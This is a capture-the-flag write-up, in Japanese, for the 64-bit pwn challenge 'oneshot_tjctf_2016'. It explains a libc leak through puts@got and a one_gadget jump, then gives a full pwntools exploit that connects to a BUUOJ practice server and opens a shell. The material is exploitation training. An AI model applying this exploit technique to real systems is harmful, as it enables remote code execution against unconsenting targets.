oneshot_tjctf_2016
ステップ
-
定期検査、64ビットプログラム、nxがオンになっている
-
一般的な状況を確認するには、ローカルで試してください
-
64ビットidaのロード
。プログラムの8行目は、7行目の入力に従って対応するアドレスの値を読み取り、10行目は入力の対応するアドレスにジャンプします。 -
10行目は入力アドレスに応じてジャンプします。最初に頭に浮かぶのは、システム( '/ bin / sh')を実行するためにジャンプさせることですが、プログラムに既存のバックドアがないので、試してみようと思いました。 one_gadgetを使用できるかどうかを確認します。
-
その前に、まずプログラムのオフセットを知る必要があります。前の分析によると、8行目は7行目の入力に基づいて対応するアドレスの値を読み取ります。この時点でputs @ gotを使用してlibcをリークできるため、プログラムのオフセットを計算できます。
elf = ELF('./oneshot_tjctf_2016')
puts_got = elf.got['puts']
p.sendlineafter('Read location?',str(puts_got))
p.recvuntil('value:')
pause()
puts関数のアドレスを取得した後、オフセットを計算し、プログラム内のone_gadgetのアドレスを計算できます。
libcbase = puts_addr - libc.symbols['puts']
onegadget = libcbase + one_gadget[0]
準備ができたら、10行目の入力ポイントにone_gadgetのアドレスを入力するだけで、4つで1つずつ試してみてください。幸い、最初のアドレスで問題ありません。
完全な経験
from pwn import *
from LibcSearcher import *
context.log_level ='debug'
elf = ELF('./oneshot_tjctf_2016')
#p = process('./oneshot_tjctf_2016')
p = remote('node3.buuoj.cn',25203)
libc = ELF('./libc-2.23-64.so')
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
puts_got = elf.got['puts']
p.sendlineafter('Read location?',str(puts_got))
p.recvuntil('0x')
#pause()
puts_addr = int(p.recvuntil('\n'),16)
print hex(puts_addr)
#pause()
libcbase = puts_addr - libc.symbols['puts']
onegadget = libcbase + one_gadget[0]
p.sendline(str(onegadget))
p.interactive()